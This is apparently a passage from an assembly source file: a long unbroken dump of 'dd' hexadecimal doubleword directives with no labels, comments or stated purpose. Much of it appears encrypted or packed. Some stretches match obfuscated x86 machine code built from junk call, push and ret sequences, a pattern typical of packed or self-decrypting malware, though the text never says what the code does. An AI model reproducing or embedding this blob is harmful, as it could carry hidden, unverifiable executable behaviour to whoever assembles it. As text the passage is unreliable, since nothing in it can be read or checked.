0D309FF35h, 0F0767C57h, 73FE533Eh, 0D305FF1Eh dd 0B69C7CC2h, 9D11F1B0h, 75FD7AF2h, 7D17FB23h, 25FB7314h dd 0FDF53FD5h, 7C5B89ADh, 0B7342291h, 23AC7ACFh, 20AD29B7h dd 75FD7A1Ah, 987C2779h, 73F4D295h, 0D387FFA0h, 0C87D7C26h dd 73F4DCEDh, 0C5B409CFh, 0B54B75E4h, 3589BAF9h, 0D305EF86h dd 0FEBD7CB5h, 7A452B96h, 8AFD7A2Fh, 7C5B8202h, 0E48F7CDh dd 0F8FB7343h, 9D50FCC6h, 75FD7E4Bh, 76456FCFh, 8AFD7A5Eh dd 7C5B82BAh, 0E48F791h, 0F8FB736Dh, 8A50FCD1h, 0BC1F2322h dd 0D387F787h, 2DA07CB5h, 2CA32005h, 776D92ECh, 0CD4D7A97h dd 8A5779C1h, 7C5B8E70h, 9D3ED1F4h, 75FD7807h, 0CD9BC2DAh dd 0DE9B5954h, 0D309EFD0h, 0DE9B7C9Eh, 77959208h, 360B7AE5h dd 6E8872F3h, 0D309EF86h, 0C54D7CB5h, 8AAD7954h, 7C5B8EBAh dd 0F69B2091h, 7E9B7E2Bh, 0B6561C27h, 75FF6B1Ah, 4E152979h dd 2FFD7ABEh, 7B89A065h, 913D59A5h, 0F5DF7094h, 0FE4DBA07h dd 9D3ED183h, 75FD7B00h, 77E1922Ah, 4EA77ABCh, 0C5120E84h dd 0A916D049h, 75FCA77Fh, 74BE8CCBh, 26D30FEDh, 75FF7B1Ah dd 360B2079h, 548872BDh, 6889A065h, 913D59A5h, 0F5DF7094h dd 0FF4DBA07h, 816885B5h, 2FFB7354h, 51FD5F1Fh, 133F71DAh dd 0E94DB9F5h, 74BD9285h, 0F44D7A97h, 74359261h, 2D157AE5h dd 0DEFD7AF2h, 75FC5791h, 0DF60CABCh, 0DF61CA9Dh, 75FC5BC7h dd 13451C97h, 9D561C4Ah, 75FD7B43h, 75FD4C1Ah, 9D561C79h dd 75FD7BB6h, 0B657E7EEh, 9D57E69Fh, 75FD7A69h, 75FCF323h dd 74BE8CE5h, 0C5F20FFAh, 6515D0F9h, 0DFFD7ABCh, 7DF99EDEh dd 0AA158448h, 0C5FD7A97h, 0CD3ED056h, 75FD7AE2h, 0D305EF0Dh dd 0C0707C70h, 73F4DC03h, 7F518A5Dh, 0E002D02Ch, 73F4DC63h dd 74E59208h, 254D7AE5h, 9D5779F8h, 8A02844Bh, 75FC4354h dd 7FA5CA5Eh, 0C53ED02Ch, 274DD0C7h, 8BE19261h, 0CD9B851Ah dd 0DE9B4BFDh, 8A036B91h, 0DFA7CA43h, 0B65722EEh, 2257929Fh dd 750C923Ch, 0FEA77ACBh, 0F63F5122h, 77747E1Ah, 8A008B91h dd 75059243h, 2D4D7A5Eh, 0B6577925h, 0D38CFF69h, 0C87D7CC2h dd 73F4DC94h, 0F8EC0FF3h, 7C5B99FCh, 61152ABAh, 9DFD7A5Ch dd 75FD781Bh, 9D571A27h, 8A028775h, 8A00C30Dh, 0DF9CCA0Dh dd 0D38CF787h, 0C87D7CB5h, 73F4DC2Fh, 0F8F10F2Fh, 7C5B9912h dd 0DE152ACDh, 0B6FD7AE4h, 75FD7E4Ah, 8D688579h, 0F8FB731Ah dd 7C563AC3h, 6DF9F029h, 9C4DB93Dh, 9D562D61h, 75FD7A8Eh dd 5E3AF1A8h, 7115F9BBh, 8A3E7835h, 7C5B8ECBh, 514ACE29h dd 0C1FF0E96h, 13F2CA74h, 75C9924Eh, 9DAE7AF2h, 75FD7A27h dd 0B5FEF0E6h, 0B5F179BEh, 0B6577825h, 0D309EF68h, 917D7CC2h dd 0F539FAEAh, 0DE9B7542h, 5A15D12Eh, 2F028541h, 0B7D6BDD5h dd 0FCF992ACh, 7345B995h, 8AFD7ACBh, 7C5B8270h, 0A260F7F4h dd 0F8FB73DFh, 0CD3E39A0h, 75FD7A4Eh, 0D305EFD0h, 0B57E7C9Eh dd 8935F1CEh, 0D309EF1Ah, 97577CFBh, 0BE15B98Eh, 0FF028543h dd 72D97B1Dh, 76778E5Ah, 75FC6C7Fh, 0B61608CBh, 8908831Dh dd 0F611F1A7h dd 9D9D86BDh, 75FD7ABCh, 2517FB04h, 0FCFB7384h, 0CF7D86EAh dd 73F4DC38h, 0EC7975E5h, 0CDFD7AF2h, 75FD7A73h, 0D305E843h dd 0FCBD7C57h, 7C5B86ADh, 0F835F191h, 7C515E79h, 816F85E3h dd 0FDFB7354h, 801F3C7Fh, 75FD6D04h, 897F795Eh, 35FB7389h dd 0D9E5E01Ah, 0B67E7CC2h, 22FEF3E1h, 75FD644Bh, 89777979h dd 0F8FB731Ah, 7C517CECh, 2B598929h, 75FD722Fh, 8D6F85CBh dd 0F6FB7343h, 85897E0Ah, 72447C71h, 7DFD7ABCh, 0C3F24B5Ah dd 761EBBF7h, 75FD742Eh, 44E172CBh, 75FD765Ch, 44F972F2h dd 75FD61C0h, 44F972BCh, 75FD66E7h, 44F9722Fh, 8A015B7Fh dd 8980F334h, 8980F184h, 9DADB93Bh, 75FD7A7Fh, 1102229Ch dd 0FCA58E7Ah, 0E9055E6Bh, 89D93E16h, 67C92CB3h, 0B6AD3A78h dd 75FD7AF2h, 75FD7A79h, 0FEA87ABCh, 75151AB2h, 2FFD7A2Fh dd 0D9CA9016h, 0CF707CC2h, 73F4DDE5h, 0CCF50F79h, 75FD7A71h dd 0BC9CDE4Fh, 26FD7E9Ch, 0D2FDE7A2h, 497D7C9Eh, 71887BD3h dd 771683BEh, 203E82A9h, 9D9D96F2h, 75FD7ABCh, 517FB04h dd 0F8FB7383h, 7C5A7A25h, 7D80F1CDh, 75FD725Ch, 145989F2h dd 75F9B8B0h, 7540F7DCh, 46FB73F9h, 75F5C3EFh, 0DF0E7A97h dd 0F89DB9AAh, 7C5A7A58h, 74C2FBF4h, 0FC7B78h, 7182FBB0h dd 74FC7B5Fh, 9E04795Ah, 0B69C8296h, 7540F7ABh, 0CDFB7342h dd 75FD7AF3h, 75FD72C0h, 145789BCh, 0FE3DF19Dh, 7878F7EFh dd 8AFB7330h, 0E8CA8BD0h, 0Dh, 2B2E55EDh, 786E8808h, 4149BD9Eh dd 3F69BFCAh, 805E5219h, 0C681D1CDh, 6570h, 0DE9h, 1614200h dd 75C32409h, 412D0E50h, 4BBAE646h, 813E77E7h, 77CE1DEAh dd 10E93Eh, 0F8320000h, 300E7D04h, 54862672h, 0C8C08C10h dd 36FF8571h, 6E9h, 0B8C65A00h, 5BF95F61h, 6E9h, 3A39FA00h dd 818F680Bh, 0E02C84EBh, 0BCB9662Bh, 0DAF38179h, 0F37599Fh dd 1282h, 0BE95100h, 9000000h, 637AF033h, 85336C8Eh, 815FE246h dd 0F96DEAC3h, 8E95232h, 92000000h, 43CEE89Bh, 5891BDB6h dd 0BF0F1E89h, 4EE83FBh, 1850Fh, 4AF50000h, 0FF94850Fh dd 0FA8BFFFFh, 0C97ACAFEh, 41F9A80Bh, 0CE418A4Fh, 0D5ABA80Bh dd 0CE1975EAh, 46E7A80Bh, 5DBA8A4Fh, 475C57AEh, 0CF098A4Fh dd 0D5ABA80Bh, 0CFD075EAh, 4782A80Bh, 0CC528A4Fh, 440CA80Bh dd 0CCD48A4Fh, 0D5ABA80Bh, 2F2575EAh, 23FA63D4h, 0C00313h dd 0A752A1FCh, 0ABEAB390h, 8CD12157h, 2F4383B8h, 23FB38D4h dd 8C00313h, 0A752A1FCh, 0ABEA6290h, 98D12157h, 2F4383B8h dd 23E497D4h, 14C00313h, 0A752A1FCh, 0ABF51E90h, 94D12157h dd 2F4383B8h, 23E470D4h, 60C00313h, 0A752A1FCh, 0ABF4AB90h dd 0E0D12157h, 2F4383B8h, 23E5CAD4h, 6CC00313h, 0A752A1FCh dd 0ABF42990h, 0F8D12157h, 2F4383B8h, 23E54CD4h, 74C00313h dd 0A752A1FCh, 0ABF79790h, 0F0D12157h, 0C34383B8h, 2A5012B8h dd 4ECEDF15h, 4AA86CD2h, 0A2458AFDh, 0C0D5F251h, 0A44C2490h dd 2AA8ED96h, 29458A15h, 0E367A024h, 0ADBAB496h, 2A54A1D5h dd 64C6CB15h, 0D5BA4155h, 63CE75EAh, 3453AAEh, 42848C16h dd 2211AB53h, 5D55FFEAh, 3AABA424h, 0C3B9CF9Ch, 0E3A8EDDAh dd 0F74586D7h, 0EED744DAh, 0D7CEEAE9h, 26292359h, 0A2B9CFD2h dd 6C54A851h, 0A24162ADh, 0EA660351h, 2FEE27BFh, 23FCB6DBh dd 12947513h, 0A0D90201h, 0A44C220Bh, 0A1EC79AEh, 941AE51h dd 824A22DCh, 73BA8C1Ch, 2ADF1037h, 28C82173h, 2C5D004Fh dd 2BFD5BEAh, 81508C15h, 0A5B0098h, 0FBABAE58h, 89EFD2A5h dd 57DDA42Ch, 0E7CEEBE9h, 229661ADh, 4ECEDF15h, 4AA86CD2h dd 0A2458AFDh, 0C0D5F251h, 0A44C2550h, 0A15CDDDAh, 0E7828668h dd 2A54A8ADh, 30BACC15h, 2C57993Ch, 69CE529Eh, 0B99783FCh dd 31EFE2A5h, 0A0D9F9FAh, 0A44C220Bh, 9A0D79AEh, 1A232094h dd 81328C55h, 0DF6E2184h, 0D629215Dh, 5E000174h, 2A5C6A98h dd 21A90140h, 0C2345495h, 0A2458A15h, 0B6BE290Bh, 294383BAh dd 57DFA024h, 5E004D19h, 2A54A851h, 0CFD77553h, 0A152AB60h dd 69CE19CDh, 0B9979BFCh, 31EFE2A5h, 0A0D9F9FAh, 0A44C220Bh dd 9A0D79AEh, 1A232094h, 81328C65h, 0DF6E2184h, 0D629215Dh dd 5E000174h, 2A5C6A98h, 21A90140h, 0A1345495h, 0DFCE8260h dd 0D6116F5Dh, 0A2458A15h, 0C9953BFDh, 9197B91Dh, 0F2DE0491h dd 0A2454A38h, 0D5A82851h, 0A25E0E1Ah, 23EDA851h, 55458A15h dd 25862DA0h, 0A2458690h, 32A32851h, 0AA8E4B73h, 4C972337h dd 0AE38A1BEh, 4BA8D5D8h, 6BB9CF9Eh, 7F54A093h, 66C6669Eh dd 5FDFC8ADh, 0AE38011Dh, 2AA8ED96h, 0E458A15h, 22B769C2h dd 62765826h, 78C22FDh, 0A2458AD5h, 25AB54D1h, 0A2459391h dd 2A5D1151h, 53B28A15h, 0AF5B7AD4h, 0A2458A1Fh, 0E25610E0h dd 91EF4B93h, 577F0391h, 5E380319h, 0D6112330h, 0A24D48DCh dd 0A9B82304h, 292576D1h, 57DFA024h, 5E004D19h, 2A54A851h dd 229D00B9h, 0E1D4A7B2h, 8860085h, 824A22DCh, 73BA8C1Ch dd 0A7FEF8E1h, 0ABED949Fh, 0A0855757h, 0DF6E20D6h, 0D629215Dh dd 5E000174h, 2A5C6A98h, 21A90140h, 0A1345495h, 0DFCE8260h dd 0D6116F5Dh, 0A2458A15h, 2A54AFE9h, 0B3D77515h, 2652AB78h dd 28C82045h, 2C5D004Fh, 2BF55BEAh, 86949BFBh, 622E8531h dd 8050AC59h, 89EFAEA5h, 57DDA42Ch, 0E7CEEBE9h, 229661ADh dd 4ECEDF15h, 4AA86CD2h, 294DFF9Eh, 6F93A42Ch, 0A2458AE9h dd 0D5FE0451h, 0A174E787h, 868C2357h, 2FEF4917h, 23FCB6DBh dd 0C4947513h, 4CBD28E9h, 88600BEh, 0A358D57Ah, 29247668h dd 0E89D5414h, 29108A1Dh, 0D6902BBDh, 0AA300175h, 0ED58D5DAh dd 0A2457650h, 80F8A851h, 932818EAh, 0E2DFAE52h, 88558B9h dd 824A32DCh, 71BA8C1Ch, 0E3941037h, 63CF2173h, 262983FBh dd 0C3B9F79Ch, 0E3A8EDDAh, 0F74582D7h, 0EED744DAh, 0D7CEEAE9h dd 26292359h, 0A2B9CFD2h, 8654A851h, 0CFD775BFh, 0A152AB60h dd 637726DDh, 34CE25FBh, 5D4383BDh, 0AAECCE82h, 28EEECE4h dd 577F0290h, 5E380319h, 0D6112330h, 0A24D48DCh, 0A9B82304h dd 292576D1h, 57DFA024h, 5E004D19h, 2A54A851h, 6B773273h dd 0B0D90337h, 0A44C220Bh, 92327BAEh, 9234B95h, 1FE04FDh dd 0DFCC8668h, 6FDFC9ADh, 0AA8743E9h, 0C6DFFD51h, 0C2B94E96h dd 0A15CDDDAh, 0E7828668h, 2A54A8ADh, 24FDEC15h, 0A7FFCEB8h dd 0ABED948Fh, 9A875757h, 0E0320A0h, 34CE25FBh, 5D4383BDh dd 0ACECCE82h, 89EEECD8h, 57DDA42Ch, 0E7CEEBE9h, 229661ADh dd 4ECEDF15h, 4AA86CD2h, 0A2458AFDh, 0C0D5F251h, 0A44C3878h dd 2AA8ED96h, 29458A15h, 57DFA024h, 91792619h, 2A1E2C5Eh dd 89798A15h, 2A162C5Eh, 0CA798A15h, 2A492C5Eh, 13798A15h dd 2A382C5Eh, 0F2798A15h, 2A5C2A5Eh, 0FA798A15h, 2A6B2A5Eh dd 0D6AC8A15h, 0D554A851h, 0D7BA8660h, 88CE2559h, 0F14383B8h dd 842D32DCh, 71BA8C1Ch, 0C3A8EDD8h, 0A2458A42h, 0D558DDAEh dd 38C88260h, 2C5D05E3h, 0DBDF0746h, 0D552A1FFh, 5E0003C6h dd 2A5492B8h, 0AE307515h, 0A75CDDAEh, 0ABE8348Fh, 0B0D9FB57h dd 0A44C246Ch, 6FDD7BAEh, 0A25863E9h, 5FABA851h, 0AA307519h dd 879E32DCh, 2F168C1Ch, 23FAD1CBh, 2B967513h, 2ABD5414h dd 0C3458A15h, 0E3A8EDDAh, 0BA4582D7h, 3044h, 16EBh, 4 dup(0) dd 1010000h, 40Ch, 9D290609h, 60324E1h, 158B0F50h, 0E9000000h dd 10h, 15836BB0h, 84B6A87Bh, 989813DDh, 654353E7h, 6A240489h dd 3E85600h, 20000000h, 895EC35Eh, 81042474h, 1C042444h dd 46000000h, 88E3C356h, 0AE4F0AE3h, 6AAF6B2Ch, 56006A00h dd 3E8h, 0C35E2000h, 2474895Eh, 24448104h, 1704h, 0C3564600h dd 2EDC874Eh, 7088E181h, 0FF5369Ch, 6AD6BFh, 9FE8B66h dd 31F6DB5h, 40858D06h, 6A0609B4h, 3E85000h, 20000000h dd 8958C358h, 81042444h, 16042444h, 40000000h, 0F2DBC350h dd 0B0B9665Eh, 0B760506Fh, 613DB7DBh, 60240489h, 41F48060h dd 80615851h, 0F86125E7h, 8D89006Ah, 6031E69h, 9533006Ah dd 6030441h, 1ACD9D89h, 95FF0603h, 6030CC9h, 51EF8166h dd 0D78B6690h, 688E9h, 0FE8B6600h, 0E8h, 0ED815D00h, 609B445h dd 0E855006Ah, 3, 5DC35D20h, 4246C89h, 4244481h, 1Dh, 0C0C35545h dd 46A6A4FDh, 6AD5164Dh, 458D8B0Ch, 106031Bh, 305C995h dd 56006A06h, 3E8h, 0C35E2000h, 2474895Eh, 24448104h, 1C04h dd 0C3564600h, 1C646C59h, 0DDD4E703h, 43126823h, 8B60585Dh dd 4CB060D6h, 7879B866h, 34816161h, 5D4CB224h, 51006A58h dd 3E8h, 0C3592000h, 244C8959h, 24448104h, 1904h, 0C3514100h dd 6762ED2Fh, 8166F22Ch, 0F843EF3h, 95FFCEBFh, 6031FB9h dd 158A0Fh, 10E90000h, 3A000000h, 97B82C15h, 3F826910h dd 1FF4F5ACh, 8D1F313Ah, 9B33AB5h, 51006A06h, 3E8h, 0C3592000h dd 244C8959h, 24448104h, 1C04h, 0C3514100h, 0BBEAB57Ah dd 5CE7FB9Ch, 0F781665Ch, 6C7CC31h, 6D676552h, 0E855006Ah dd 3, 5DC35D20h, 4246C89h, 4244481h, 19h, 0E2C35545h, 8B0B3B56h dd 446C708h, 6C636E6Fh, 20258D2Bh, 46C70603h, 73736108h dd 50006A00h, 3E8h, 0C3582000h, 24448958h, 24448104h, 1A04h dd 0C3504000h, 0CF10AD2Dh, 8982B582h, 309298Dh, 6A006A06h dd 3E85500h, 20000000h, 895DC35Dh, 8104246Ch, 1A042444h dd 45000000h, 0B815C355h, 4236FF46h, 8B66F86Fh, 3A858DD1h dd 6A0609B3h, 3E85000h, 20000000h, 8958C358h, 81042444h dd 1B042444h, 40000000h, 9B35C350h, 0B004CD05h, 0F281781Ah dd 1DA6C98Bh, 13E890h, 0EED60000h, 3AAF936Ch, 0AC54B2A1h dd 82D82538h, 1F581198h, 5E83Eh, 80FF0000h, 6644681Ah dd 5959D98Bh, 90F88A50h, 0E857006Ah, 3, 5FC35F20h, 4247C89h dd 4244481h, 1Bh, 0FDC35747h, 0B6660DF9h, 8136C0BAh, 0FCE568E1h dd 0BA66561Ah, 0FF5B2573h, 313E195h, 0C00BF806h, 56840Fh dd 6A0000h, 3E853h, 5B200000h, 5C895BC3h, 44810424h, 180424h dd 53430000h, 0D1102FC3h, 0BD8BD85Bh, 6032999h, 409E9h dd 57006A00h, 3E8h, 0C35F2000h, 247C895Fh, 24448104h, 1A04h dd 0C3574700h, 389F2B33h, 0FC394DEh, 9529F9BFh, 6031C75h dd 84CD8068h, 8B6060E8h, 525061CBh, 310FCB8Bh, 28E031B9h dd 61585A63h, 0AC240481h, 6A177B33h, 3E85300h, 20000000h dd 895BC35Bh, 8104245Ch, 1B042444h, 43000000h, 49C1C353h dd 0FC33B55Dh, 0BD8B846Eh, 60313FDh, 1FB995FFh, 6A0603h dd 3E850h, 58200000h, 448958C3h, 44810424h, 1C0424h, 50400000h dd 2238E3C3h, 61E1405Dh, 0B58D1266h, 609B33Ah, 0E857006Ah dd 3, 5FC35F20h, 4247C89h, 4244481h, 18h, 0B8C35747h, 9CCF4ABBh dd 6C7C2B6h, 36343831h, 0D1816656h, 0F95F11D0h, 370446C7h dd 6A31342Dh, 3E85600h, 20000000h, 895EC35Eh, 81042474h dd 1D042444h, 46000000h, 6CC9C356h, 59FCF4F4h, 0F8769D68h dd 846C7h, 0F000000h, 6AD9BFh, 8D7AED80h, 9B33A85h, 53006A06h dd 3E8h, 0C35B2000h, 245C895Bh, 24448104h, 1604h, 0C3534300h dd 90F98AF4h, 43FAB966h, 17DFBB50h, 0F905F9Dh, 386h, 5BF85300h dd 13E195FFh, 0BF660603h, 0B589D402h, 603280Dh, 840FC00Bh dd 3Ah, 0E851006Ah, 3, 59C35920h, 4244C89h, 4244481h, 1Ah dd 12C35141h, 92F0F99h, 8B66486Ah, 280E9D6h, 0AE90000h dd 6F000000h, 0BD72B164h, 137EFBF5h, 4E8F933h, 2C000000h dd 0E9000001h, 0Fh, 295E258Eh, 2DD16AB8h, 6E04531Ah, 5047413Ch dd 0EE8h, 4B727F00h, 0F5ED6889h, 0B3C5FFABh, 665198C2h dd 5B1173BBh, 424448Bh, 12E8h, 1E6CEB00h, 1A90C9FBh, 81665E58h dd 0D1809CF2h, 0BF4C526Bh, 54EA2446h, 0F008B5Ah, 1B8Bh dd 13E800h, 0A0000000h, 9F94CA40h, 0C75106EBh, 0CA117A0Eh dd 7D09580Bh, 5F6160A1h, 4244489h, 48F0Fh, 0B9660000h dd 6A58416Ch, 3E85600h, 20000000h, 895EC35Eh, 81042474h dd 19042444h, 46000000h, 1710C356h, 0AF51FEEBh, 0FFC8BF0Fh dd 31FB995h, 819D8B06h, 8D060312h, 9B33AB5h, 51006A06h dd 3E8h, 0C3592000h, 244C8959h, 24448104h, 1A04h, 0C3514100h dd 0DDA338CAh, 0F7EB0E8h, 281h, 0FD18B00h, 38Fh, 0D08B6600h dd 694606C7h, 6A656Ch, 3E852h, 5A200000h, 54895AC3h, 44810424h dd 160424h, 52420000h, 1DC3CCC3h, 1800Fh, 0C7F50000h, 6F6D0446h dd 0F3BF636Eh, 0C7569039h, 616C0846h, 6A7373h, 3E851h dd 59200000h, 4C8959C3h, 44810424h, 1B0424h, 51410000h dd 0A38A66C3h, 6DBB2177h, 418D8B85h, 0C7060306h, 0C46h dd 6A0000h, 3E856h, 5E200000h, 74895EC3h, 44810424h, 180424h dd 56460000h, 0FF170C3h, 0DE8D017h, 87000000h, 0DD14DA36h dd 30C8C9E3h, 98A4BFECh, 0EE950h, 5B100000h, 3A3A8E09h dd 0C1A2770Eh, 628EA13Eh, 6A5F59h, 0E852006Ah, 3, 5AC35A20h dd 4245489h, 4244481h, 19h, 78C35242h, 0C187F9D7h, 6E929h dd 374D0000h, 11F76C32h, 8DFE8B66h, 9B33A85h, 3BD58006h dd 0FE850h, 0A98B0000h, 0A948819Ch, 466CD383h, 3462C8BBh dd 5FD68BE8h, 66240489h, 0FF506DB9h, 313E195h, 0D58D8B06h dd 0B060312h, 30840FC0h, 6A000000h, 3E85600h, 20000000h dd 895EC35Eh, 81042474h, 15042444h, 46000000h, 8BD9C356h dd 0FE9BD29h, 33E90603h, 0BB000000h, 65CB7F85h, 0E9B3D380h dd 0FFFFF9DCh, 0E857006Ah, 3, 5FC35F20h, 4247C89h, 4244481h dd 19h, 0BCC35747h, 7C52FB89h, 0CA81662Ch, 0B58DAB29h dd 6037287h, 0E853006Ah, 3, 5BC35B20h, 4245C89h, 4244481h dd 14h, 0DCC35343h, 1C7D8D8Bh, 0B80603h, 1000000h, 323F98Dh dd 8BE6FF06h, 30201BDh, 8DC18B06h, 9BBF68Dh, 57006A06h dd 3E8h, 0C35F2000h, 247C895Fh, 24448104h, 1504h, 0C3574700h dd 8D89503Ch, 60331D1h, 0E851006Ah, 3, 59C35920h, 4244C89h dd 4244481h, 19h, 68C35141h, 0CFA4840Fh, 0E59D89D6h, 0C7060305h dd 301E185h, 5DA806h, 57006A00h, 3E8h, 0C35F2000h, 247C895Fh dd 24448104h, 1B04h, 0C3574700h, 1285F740h, 0E67FCD8Eh dd 1D85BD29h, 8E90603h dd 72000000h, 2721AB47h, 0C75EA79Ch, 321BD85h, 6, 57006A00h dd 3E8h, 0C35F2000h, 247C895Fh, 24448104h, 1C04h, 0C3574700h dd 8D2A7DC8h, 8B72BFCAh, 830F5071h, 5, 0A9A09BBEh, 8501580Dh dd 60313EDh, 51858950h, 5A060301h, 1375B5FFh, 6A0603h dd 3E851h, 59200000h, 4C8959C3h, 44810424h, 1B0424h, 51410000h dd 84E4B2C3h, 0EEB6B2DBh, 8D89530Ch, 6033079h, 9195FF5Ah dd 0E8060326h, 0Ch, 0AF7510D3h, 0C93A870Ch, 20F2BDB1h dd 1D55B531h, 6A5E0603h, 0B995FF00h, 8B06031Fh, 0AB2CEBC0h dd 90A37D43h, 4591AD94h, 4282AA23h, 0BAF0A43h, 60F0194Fh dd 0DAFE3269h, 0ABACB5CCh, 0B12FE754h, 8D9C552Bh, 7F78059Ch dd 0E9CC93BBh, 2Ah, 2404C7h, 0E8000000h, 0 dd 38ED815Dh, 8B0609BCh, 89042444h, 3221585h, 0B806h, 8D8D0000h dd 6034D1Ch, 54B8E1FFh, 8D000067h, 3136D9Dh, 1434B806h dd 85890000h, 6030429h, 0E8h, 0D055800h, 89000000h, 1434E903h dd 50Dh dup(0) dd 3BE90000h, 60000000h, 2F41BD8Bh, 0EF830603h, 8BC93304h dd 8320BBC1h, 0C783EDB8h, 8BE04h, 0E8D10000h, 0D323D21Bh dd 0F4EC233h, 0FFFFF185h, 78941FFh, 100F981h, 820F0000h dd 0FFFFFFD3h, 0C88BC361h, 0A3E9h, 0BF40D300h, 32B74429h dd 9C25CB5Eh, 6C9165C8h, 0FF049578h, 8EDC1BE9h, 398CC0E9h dd 0AD305459h, 0D3A62ACFh, 8CD5BB3Ch, 20A53E0Ah, 691B7105h dd 45422A8Ah, 0D5830B5h, 3AA926A6h, 813FAD52h, 0E6E50EECh dd 0EEFBED12h, 5A2A3A12h, 0E283ABD6h, 3C0CE811h, 7750E287h dd 939CD70Ch, 7C015C77h, 3437750h, 0F2000000h, 472A8003h dd 0B45B26A6h, 26F45933h, 9266CB9Dh, 1967B6Dh, 6C0D90F8h dd 0D4B80547h, 42D4B9D3h, 0B1422FB9h, 680B4008h, 609D0F9h dd 0F9ABD4E9h, 3BAEA4FFh, 5E1E9963h, 591EDECh, 9D187B8h dd 0E8C50306h, 5, 9974702Fh, 0AE949h, 0F63C0000h, 0D487162Fh dd 0FBCB253Dh, 0FFB70F5Eh, 5D9AC681h, 35680000h, 0F000017h dd 89h, 0FE95B00h, 53000000h, 11992CA4h, 3291106Fh, 3C5E6EB6h dd 0E8BBD51h, 7E9h, 929F8500h, 8289D57Fh, 4868C181h, 0D18B0AEAh dd 0E091E981h, 8B00319h, 367AF181h, 890F1694h, 2, 0F51C18Bh dd 68FC2B7h, 3840Fh, 0E6800000h, 0EAEE81DEh, 8A460638h dd 0E6C681D0h, 0E9460638h, 13h, 936BA091h, 647E7BCh, 1B0F4575h dd 63FA0301h, 4BD03E0Eh, 17850Fh, 0F2810000h, 332EC281h dd 19E9h, 0E3DDF00h, 162CFF0h, 20A6A684h, 0FF7CE964h, 65A2FFFFh dd 0E49AD743h, 4EB13ECh, 5F156B4Bh, 0D6CE9h, 0D45C6800h dd 0DEE90609h, 68FFF9AAh, 609D556h, 0F9AAD4E9h, 0D63D68FFh dd 0CAE90609h, 68FFF9AAh, 609D70Dh, 0F9AAC0E9h, 0DA7D68FFh dd 0B6E90609h, 68FFF9AAh, 609DD67h, 0F9AAACE9h, 0DE7568FFh dd 0A2E90609h, 0E9FFF9AAh, 12E7E50Ah, 81147881h, 3386CAEFh dd 0A3365A5Bh, 0CDA725CEh, 0EB34412h, 8223F75Ah, 10997BCEh dd 0E106E97Ch, 74D4D2E3h, 71051EDBh, 2ADC9F21h, 0CB14445h dd 0D54EDA5Ch, 2B770EF0h, 24AD1BCh, 9F24F194h, 0C7812AC8h dd 0B1432682h, 94B46E08h, 770EF0FBh, 4A1E9A41h, 525739CCh dd 66D1AF3Ah, 45E59D1Bh, 75120CD3h, 11967A49h, 7719EC8Ah dd 757E1F72h, 92FA7613h, 0BC4CD4Ah, 0B1E55B71h, 6A229DA7h dd 0FC4C0693h, 710BCC63h, 0A4B632D9h, 20h, 6785F0D7h, 0D0DFF4Bh dd 54037512h, 0C46FEC34h, 87BD710Bh, 263F4553h, 738936Ah dd 0BB000000h, 8E25Ah, 432AD900h, 4CDCB45Ah, 770EF0D3h dd 48D7A229h, 0D5DABD00h, 6F8DF8B7h, 21F753h, 0C89F7512h dd 0E0DB7880h, 0EB29710Bh, 3DABB1A7h, 34A4936Ah, 0D7000000h dd 4B6785F0h, 11FF4DFFh, 7414C375h, 0BDF2FACh, 833DFD71h dd 0BDF2EA7h, 69C79271h, 0D170155h, 96936A41h, 906122F7h dd 99CC9C6Bh, 0C93923h, 1BA0000h, 8D6B8C6Ch, 0F89015F8h dd 437F8415h, 0A12BD0A2h, 5D204824h, 0E87D35BAh, 7E173305h dd 0C2770EF0h, 5C2C8817h, 0CB991EF1h, 0EF54623h, 0D6D7BE77h dd 0A7482FB2h, 0F9F78225h, 9C811EC1h, 959DD2E2h, 5FC9611Fh dd 0DD75119Bh, 0FB9D700Eh, 59167AF6h, 52F6B02Eh, 6F093024h dd 0F1ABC792h, 82FC059h, 0D3A93C77h, 9A1FF095h, 658E63F6h dd 0D94BD04Ah, 0EC6109E6h, 0AEFh, 4E02A376h, 0F3911AFBh dd 6D63886Eh, 9DF3F498h, 0E426708h, 4C2D79A4h, 0BC5C21A7h dd 32C0553Bh, 9F76DB89h, 6F2B4A1Eh, 51C42DBh, 6D0EBE71h dd 2BC452Ah, 93699263h, 62836AFFh, 41EFB06Eh, 73B9A04Ch dd 39D27630h, 87770E23h, 0F0DF54D0h, 884B6785h, 990940B8h dd 0A1462A33h, 0C2E3B7DAh, 6E002866h, 0EC7511D7h, 82CAEF81h dd 0C81078C7h, 710BB74Bh, 0FDEF14E5h, 13757E10h, 0B6005468h dd 0BED31EFh, 936A18F1h, 0CCEEh, 432A0900h, 0B2472AA2h dd 0BAB75F09h, 0CA770EF5h, 50CE8223h, 0CA4D6B8Fh, 61DF19ACh dd 0B397690Ch, 770EEF1Ah, 6464F366h, 0FCBA3843h, 67618669h dd 0EC88662h, 0EE5BF454h, 3AA1770Eh, 46EBEh, 0A35D7512h dd 0BDC0E87h, 9E77271h, 802FBD28h, 6FBBF7F5h, 6F097772h dd 8E5F1BCEh, 398CC0E9h, 10105358h, 0DDE6D932h, 9F5D00Dh dd 9D7C0000h, 14E17418h, 8214F9EFh, 0EE866B79h, 61369BC9h dd 7FBE3458h, 2FBD462Bh, 5331B65Ah, 0C1872CCEh, 7014997Ch dd 48C16921h, 0B471051Bh, 452A6704h, 0DD9C8276h, 10E3B439h dd 98CC5B2Ah, 255D6235h, 0B46DF6Bh, 2FBA770Eh, 0C1EB793h dd 0F762770Eh, 0F1AB1579h, 0E0BC059h, 0D3A93C77h, 0E3470150h dd 770EF06Ah, 0C0A503D6h, 189D702Dh, 9F76DB8Dh, 0FBED12E6h dd 3C4D03EEh, 0CAAD575h, 900D672h, 0D3BE7512h, 452BBE3Fh dd 0B29AD1BCh, 0D7C8F2C2h, 29415F2Ah, 0F1F69E6Fh, 5676F297h dd 0C54BEA70h, 0C25BEFA9h, 3ECD49B9h, 525724ABh, 6068FFD6h dd 0B2463C47h, 0A30E5B0Dh, 6E8F6607h, 4B1AD492h, 1D4800A9h dd 0A75687A7h, 1FCACB47h, 0CAEB8263h, 0A4751886h, 29CCA11Fh dd 0CE1DED84h, 2EBE491Ch, 90E33h, 63841700h, 0F6FB986Dh dd 40690F92h, 0D0D5B90Ch, 0A34829BCh, 0C298472Dh, 7DC0842Dh dd 0E174189Dh, 17FAEE13h, 48697F80h, 1A61FA4Eh, 2DDF7105h dd 0A2432A4Eh, 0FC996C2Ah, 74F095F7h, 8422C0CBh, 9F3810CAh dd 7A770EF0h, 0EF035AEh, 0C5DC8B77h, 4CB29A16h, 2A7511FAh dd 906203BFh, 0E18C4F6Bh, 816F42B0h, 